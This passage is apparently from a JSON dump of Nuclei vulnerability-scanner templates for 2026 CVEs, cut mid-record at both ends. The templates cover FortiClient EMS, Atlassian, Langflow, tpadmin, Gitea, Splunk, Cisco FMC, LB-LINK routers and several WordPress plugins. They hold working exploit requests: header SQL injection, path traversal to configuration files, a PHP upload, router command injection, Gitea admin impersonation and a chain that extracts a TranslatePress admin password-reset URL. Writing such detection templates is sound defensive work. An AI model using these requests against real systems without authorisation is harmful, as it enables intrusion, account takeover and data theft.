icon_hash=\"-800551065\"\n  tags: cve,cve2026,sqli,forticlient,ems,fortinet,,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/init_consts HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        @timeout: 20s\n        GET /api/v1/init_consts HTTP/1.1\n        Host: {{Hostname}}\n        Site: tenant1; SELECT pg_sleep(8)--\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_1, \"SITES_ENABLED\\\": true\")'\n\n      - type: dsl\n        name: time-based\n        dsl:\n          - \"duration_2>=8\"\n          - \"status_code_2 == 500\"\n        condition: and\n# digest: 4a0a00473045022100a9cf75b400f73e7986d6caf10bf72f727033283cda7aa2c72e9f334827bce119022057f3560953a14e644eb5cd705b336ae45fcea56280b77966f73f659438aa656f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-21643.yaml","vuln_id":"cve-2026-21643"},{"raw":"id: CVE-2026-21589\n\ninfo:\n  name: Atlassian Jira/Confluence/Bitbucket - Pre-Auth Arbitrary File Read\n  author: Kazgangap,DhiyaneshDk,watchtowr\n  severity: critical\n  description: |\n    Atlassian products including Jira, Confluence, and Bitbucket Data Center contain a pre-authentication arbitrary file read vulnerability in the shared atlassian-plugins-webresource library. The library improperly handles double colons (::) as path separators in the resource routing, allowing unauthenticated attackers to traverse the filesystem and read arbitrary files within the application server's webroot, including sensitive configuration files such as web.xml and crowd.properties containing plaintext credentials.\n  impact: |\n    An unauthenticated attacker can read arbitrary files within the Tomcat application context, including WEB-INF configuration files. When Atlassian Crowd is configured, this can leak plaintext credentials from crowd.properties, enabling full administrative access to the identity management system and all connected Atlassian products.\n  remediation: |\n    Update to the fixed versions: Jira 9.12.40/10.3.26/11.3.12, Confluence 9.2.26/10.2.19, Bitbucket 9.4.26/10.2.8/10.5.1, Bamboo 10.2.24/12.1.12, Crowd 6.3.7/7.0.3/7.1.7/7.2.4, Crucible 4.9.15, Fisheye 4.9.15.\n  reference:\n    - https://labs.watchtowr.com/you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-read-cve-2026-21589/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21589\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-21589\n    epss-score: 0.99664\n    epss-percentile: 0.99949\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: atlassian\n    product: jira,confluence,bitbucket\n    shodan-query: http.component:\"Atlassian\"\n  tags: cve,cve2026,atlassian,jira,confluence,bitbucket,lfi,path-traversal,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"<web-app\", \"<urlrewrite\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502204dc93e093253709d546a943379d15d7b4206a015fc408b0cb4822da176d4fccf02210084a71765be0bd2270fefde5f2183ae33606ac1e1e39c49ee5eeaef1d9ae7e34c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-21589.yaml","vuln_id":"cve-2026-21589"},{"raw":"id: CVE-2026-21484\n\ninfo:\n  name: AnythingLLM - Username Enumeration via Password Recovery\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.\n  impact: |\n    Attackers can enumerate valid usernames, aiding further targeted attacks or social engineering.\n  remediation: Update to the version including commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 or later.\n  reference:\n    - https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-47vr-w3vm-69ch\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-21484\n    epss-score: 0.00761\n    epss-percentile: 0.55451\n    cwe-id: CWE-203,CWE-204\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mintplex-labs\n    product: anything-llm\n    shodan-query: http.favicon.hash:-1279687529\n  tags: cve,cve2026,anythingllm,user-enum\n\nvariables:\n  rc1: \"{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}\"\n  rc2: \"{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}\"\n  rc3: \"{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}\"\n  rc4: \"{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/system/recover-account HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"username\":\"{{randstr}}\",\"recoveryCodes\":[\"{{rc3}}\",\"{{rc4}}\"]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains_all(body, \"Invalid recovery codes\",\"success\")'\n        condition: and\n# digest: 4a0a00473045022100d5ad3dd4be470b96d8dd12a39cc915d3bfc0aedfc7522e00e62c391f8e2c4d83022026de1b57a25ed5c45b0e6bf58a2fdd4e8e3aca8d535b80afb308f0a22232ba87:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-21484.yaml","vuln_id":"cve-2026-21484"},{"raw":"id: CVE-2026-21445\n\ninfo:\n  name: Langflow - Broken Access Control\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.\n  remediation: Update to version 1.7.0.dev45 or later.\n  impact: |\n    Unauthenticated attackers can access sensitive user data and perform destructive actions, risking data loss and privacy breaches.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-c5cp-vx83-jhqx\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21445\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-21445\n    cwe-id: CWE-306\n    epss-score: 0.33289\n    epss-percentile: 0.98377\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: langflow-ai\n    product: langflow\n    shodan-query: html:\"Langflow\"\n  tags: cve,cve2026,langflow,auth-bypass,unauth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/monitor/messages\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"text\":'\n          - '\"timestamp\":'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220737079ff66852b5693d68afe213a969717025ca81382aaf437e5eb911a54d24c022079c412dac73ea2baa060a75886753076d63d4d1580617a8975bd5bfb70bc6a36:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-21445.yaml","vuln_id":"cve-2026-21445"},{"raw":"id: CVE-2026-2113\n\ninfo:\n  name: tpadmin <= 1.3.12 - Remote Code Execution\n  author: jankesec\n  severity: critical\n  description: |\n    yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.\n  remediation: |\n    Delete or restrict access to the preview.php script or upgrade to a patched version.\n  reference:\n    - https://github.com/yuan1994/tpadmin\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2113\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-2113\n    epss-score: 0.02427\n    epss-percentile: 0.8427\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: yuan1994\n    product: tpadmin\n    shodan-query: http.html:\"tpadmin\"\n    fofa-query: body=\"tpadmin\"\n  tags: cve,cve2026,tpadmin,rce,file-upload,webuploader,intrusive\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /public/static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==\n\n      - |\n        POST /static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"jsonrpc\"'\n          - 'preview/'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: preview_path\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"result\" : \"https?://[^/\"]+(/[^\"]+\\.php)\"'\n\n  - raw:\n      - |\n        GET {{preview_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"8d545c3577fdfbf5ae9e254ca893a0ef\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402205307daf7d3e53b7be0de94744fef12b35ee91e7efc6007ccb5ca14b2dce5a0a2022065057896645a9b6216d3787b19dd8567ea476f68093953840c66eed0c237caab:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-2113.yaml","vuln_id":"cve-2026-2113"},{"raw":"id: CVE-2026-20896\n\ninfo:\n  name: Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass\n  author: prithvee07,aryu-ru,rz1027\n  severity: critical\n  description: |\n    The official Gitea Docker image through version 1.26.2 ships with REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, causing Gitea to trust reverse-proxy authentication headers (X-WEBAUTH-USER) from any source IP instead of restricting trust to the configured reverse proxy. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can impersonate any existing user, including an administrator, by sending the target username in the X-WEBAUTH-USER header.\n  impact: |\n    Unauthenticated attackers can impersonate any Gitea user, including administrators, gaining read access to all private repositories, the ability to inject SSH keys, extract CI/CD secrets, modify webhooks, and fully compromise the platform.\n  remediation: |\n    Upgrade the Gitea Docker image to version 1.26.3 or 1.26.4 or later, which restricts REVERSE_PROXY_TRUSTED_PROXIES to the intended internal proxy addresses.\n  reference:\n    - https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4\n    - https://blog.gitea.com/release-of-1.26.3-and-1.26.4/\n    - https://github.com/go-gitea/gitea/pull/38151\n    - https://www.ionix.io/threat-center/cve-2026-20896/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-20896\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-20896\n    epss-score: 0.02755\n    epss-percentile: 0.86279\n    cwe-id: CWE-290\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: gitea\n    product: gitea\n    shodan-query: title:\"Gitea\"\n    fofa-query: app=\"Gitea\"\n  tags: cve,cve2026,gitea,docker,auth-bypass,unauth,vkev\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/version HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'compare_versions(version, \"<= 1.26.2\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: version\n        json:\n          - '.version'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/users/search?limit=1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"ok\\\":true\")'\n          - 'len(victim) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: victim\n        json:\n          - '.data[0].login'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/user HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/user HTTP/1.1\n        Host: {{Hostname}}\n        X-WEBAUTH-USER: {{victim}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, concat(\"\\\"login\\\":\\\"\", victim, \"\\\"\"))'\n          - '!contains(body, \"token is required\")'\n        condition: and\n# digest: 4a0a004730450220618cbeb8a0e8374292e64d7f9af4059b4a9a77487f2607d86a88f9df02ba599a022100dd2aad4d3c384d07722866388131d17c69934d376052a3e3209354a0f14ec07f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-20896.yaml","vuln_id":"cve-2026-20896"},{"raw":"id: CVE-2026-20253\n\ninfo:\n  name: Splunk Enterprise & Cloud Platform - Unrestricted File Upload\n  author: watchtowrlabs,DhiyaneshDk\n  severity: critical\n  description: |\n    In Splunk Enterprise versions below 10.2.4 and 10.0.7, and Splunk Cloud Platform versions below 10.4.2604.3 and 10.2.2510.14, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.<br><br>The vulnerability exists because the PostgreSQL sidecar service endpoint lacks authentication controls, allowing any network-reachable user to invoke file operations without credentials.\n  impact: |\n    Unauthenticated attackers can create or truncate arbitrary files, potentially leading to data loss or system compromise.\n  remediation: |\n    Upgrade to Splunk Enterprise 10.2.4, 10.0.7 and Splunk Cloud Platform 10.4.2604.3, 10.2.2510.14 or later.\n  reference:\n    - https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/\n    - https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253/blob/main/watchTowr-vs-Splunk-CVE-2026-20253.py\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"enterprise\" && body=\"splunk\"\n  tags: cve,cve2026,splunk,postgres,backup,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        POST /{{region}}/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic ZGFnOg==\n\n    payloads:\n      region:\n        - \"en-US\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Failed to decode\"\n\n      - type: status\n        status:\n          - 400\n# digest: 490a0046304402201da430780814d7865c4b2fcab64e649e06b260eac684ea5f5860ea46bc4dd3030220433b9e7f6979eecf0350f43d916747e20ab31f1620f4875672d5f25a8c6831a1:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-20253.yaml","vuln_id":"cve-2026-20253"},{"raw":"id: CVE-2026-2025\n\ninfo:\n  name: Mail Mint < 1.19.5 - Unauthenticated Email Disclosure\n  author: 0x_Akoko\n  severity: high\n  description: |\n    Mail Mint WordPress plugin < 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can retrieve email addresses of users, leading to privacy breaches and potential phishing attacks.\n  remediation: |\n    Update to version 1.19.5 or later.\n  reference:\n    - https://wpscan.com/vulnerability/1b815cde-cd9d-46fa-a6ab-3d2851705e7b/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2025\n    - https://wordpress.org/plugins/mail-mint/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-2025\n    epss-score: 0.01681\n    epss-percentile: 0.77015\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: mail-mint\n    product: mail-mint\n    fofa-query: body=\"/wp-content/plugins/mail-mint/\"\n  tags: cve,cve2026,wordpress,wp-plugin,mail-mint,exposure,unauth,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/mrm/v1/wp/admins?term=@\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"\\\"admins\\\"\", \"\\\"label\\\"\", \"@\")'\n        condition: and\n# digest: 4a0a004730450221008b10e6b9b2181f728af55cb8c39c27dd37167ec2e8989ccae8c90d0c3f8abceb022004e0e7e3014b0e3f6f380258388ac364d2a38e79957a570b22585f7fd65c4a48:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-2025.yaml","vuln_id":"cve-2026-2025"},{"raw":"id: CVE-2026-20079\n\ninfo:\n  name: Cisco Secure Firewall Management Center - Authentication Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    Cisco Secure Firewall Management Center Software contains an authentication bypass caused by improper system process creation at boot, letting unauthenticated remote attackers execute scripts and gain root access, exploit requires crafted HTTP requests.\n  impact: |\n    Unauthenticated remote attackers can gain root access by executing scripts, leading to full system compromise.\n  remediation: |\n    Update to the latest available version.\n  reference:\n    - https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-20079\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-20079\n    epss-score: 0.88658\n    epss-percentile: 0.99775\n    cwe-id: CWE-288\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"BackdraftSyncIntegration\"\n  tags: cve,cve2026,cisco,fmc,auth-bypass,rce,unauth,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /help/about.cgi HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(body, \"Invalid session ID\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /help/about.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: CGISESSID=csm_processes\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"Cisco Secure Firewall Management Center\", \"Model\", \"OS\", \"Hostname\")'\n        condition: and\n# digest: 4a0a004730450220513b963427433dcde8b54f70e5531bc04248521be326c627a82c85e09602f356022100fb9e76d3b758314941d6c9c4515f680d706fa21d8dfa43d45d554a666d79e717:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-20079.yaml","vuln_id":"cve-2026-20079"},{"raw":"id: CVE-2026-19900\n\ninfo:\n  name: LB-LINK Routers - Unauthenticated Command Injection\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    LB-LINK X-PRO 1.0.22-20231206 contains a hardcoded credentials vulnerability caused by manipulation of an unknown function in /etc/shadow, letting remote attackers use hardcoded credentials, exploit requires high complexity\n  impact: |\n    Remote attackers can use hardcoded credentials to gain unauthorized access, potentially compromising the system.\n  remediation: |\n    Update to the latest version or contact vendor for a patch.\n  reference:\n    - https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-19900\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-19900\n    epss-score: 0.02941\n    epss-percentile: 0.87163\n    cwe-id: CWE-77\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: lb-link\n    product: bl-wr9000_firmware\n    fofa-query: body=\"goform\" && body=\"LB-LINK\"\n    shodan-query: http.html:\"LB-LINK\" \"GoAhead-Webs\"\n  tags: cve,cve2026,lb-link,router,rce,iot,unauth,cmdi\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(header), \"goahead\")'\n          - 'contains_any(tolower(body), \"lb-link\", \"goform\", \"/login.asp\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /goform/set_cmd HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        cmd=echo+{{randstr}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"GoAhead\")'\n          - 'contains_all(body, \"\\\"type\\\":\\\"setcmd\\\"\", \"\\\"cmdinfo\\\":\\\"{{randstr}}\")'\n        condition: and\n# digest: 4a0a00473045022100c5fc0fd12d99c5f8fa98421d3223f55e3178fd414df12859609f22d34d210f5302205a34393791eea05a5789f189d7daeb0642a638982e9c405a46a1717580025cea:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-19900.yaml","vuln_id":"cve-2026-19900"},{"raw":"id: CVE-2026-1980\n\ninfo:\n  name: WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure\n  author: aryu-ru\n  severity: medium\n  description: |\n    WPBookit WordPress plugin <= 1.0.8 contains an information disclosure vulnerability caused by missing authorization check on 'get_customer_list' route, letting unauthenticated attackers retrieve sensitive customer data.\n  impact: |\n    Unauthenticated attackers can access sensitive customer information, risking privacy and data exposure.\n  remediation: |\n    Update to the latest version beyond 1.0.8.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a1867c79-29d7-46a4-bfaf-c65e8a44c2ed?source=cve\n    - https://plugins.trac.wordpress.org/browser/wpbookit/tags/1.0.8/core/admin/classes/class.wpb-admin-routes.php#L146\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1980\n    - https://wordpress.org/plugins/wpbookit/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-1980\n    epss-score: 0.00906\n    epss-percentile: 0.59963\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: iqonicdesign\n    product: wpbookit\n    publicwww-query: \"/wp-content/plugins/wpbookit/\"\n    fofa-query: body=\"/wp-content/plugins/wpbookit/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wpbookit,unauth,disclosure\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/wpbookit/README.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WPBookit\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lsversion\n        group: 1\n        internal: true\n        regex:\n          - '(?i)Stable tag:\\s*([\\w.]+)'\n\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=wpb_ajax_get&route_name=get_customer_list&length=1&start=0 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"recordsTotal\", \"recordsFiltered\", \"user_registred\")'\n          - 'compare_versions(lsversion, \">= 1.0\", \"<= 1.0.8\")'\n        condition: and\n# digest: 4a0a0047304502200a9c986176bea2c46cc90e8494dd0d8bc3c277e6c34c5a96801ddeb09ee9e7a5022100cdeedad3ad1dad798d7419f29c4f92a4c463109d311aed8434a0a11282708e57:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-1980.yaml","vuln_id":"cve-2026-1980"},{"raw":"id: CVE-2026-19632\n\ninfo:\n  name: TranslatePress <= 3.3.1 - Unauthenticated Account Takeover\n  author: 0xgh057r3c0n\n  severity: critical\n  description: |\n    TranslatePress WordPress plugin <= 3.3.1 contains a sensitive information exposure caused by the 'trp_get_translations_regular' AJAX action saving password-reset URLs in translation dictionary, letting unauthenticated attackers extract admin password-reset URLs, exploit requires automatic string saving enabled and admin profile locale set to a published secondary language.\n  impact: |\n    Unauthenticated attackers can obtain admin password-reset URLs, enabling full administrator account takeover.\n  remediation: |\n    Update to a version later than 3.3.1 or the latest available version\n  reference:\n    - https://wordpress.org/plugins/translatepress-multilingual/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-19632\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-19632\n    epss-score: 0.04502\n    epss-percentile: 0.91531\n    cwe-id: CWE-640\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: cozmoslabs\n    product: translatepress-multilingual\n    framework: wordpress\n  tags: cve,cve2026,wordpress,wp-plugin,translatepress,account-takeover,intrusive,vkev\n\nvariables:\n  username: \"admin\"\n\nflow: |\n  http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: langpath\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '<link rel=\"alternate\" hreflang=\"[a-z]{2}-[A-Z]{2}\" href=\"https?://[^/\"]+(/[a-z]{2,5}/)\"'\n\n  - raw:\n      - |\n        GET {{langpath}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'gettranslationsnonceregular\"\\s*:\\s*\"([a-f0-9]+)\"'\n\n      - type: regex\n        name: language\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'trp_current_language\"\\s*:\\s*\"([a-zA-Z_]+)\"'\n\n  - raw:\n      - |\n        POST /wp-login.php?action=lostpassword HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user_login={{username}}&redirect_to=&wp-submit=Get+New+Password\n\n    matchers:\n      - type: status\n        status:\n          - 200\n          - 302\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=trp_get_translations_regular&security={{nonce}}&language={{language}}&all_languages=true&dynamic_strings=true&skip_machine_translation=[]&string_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356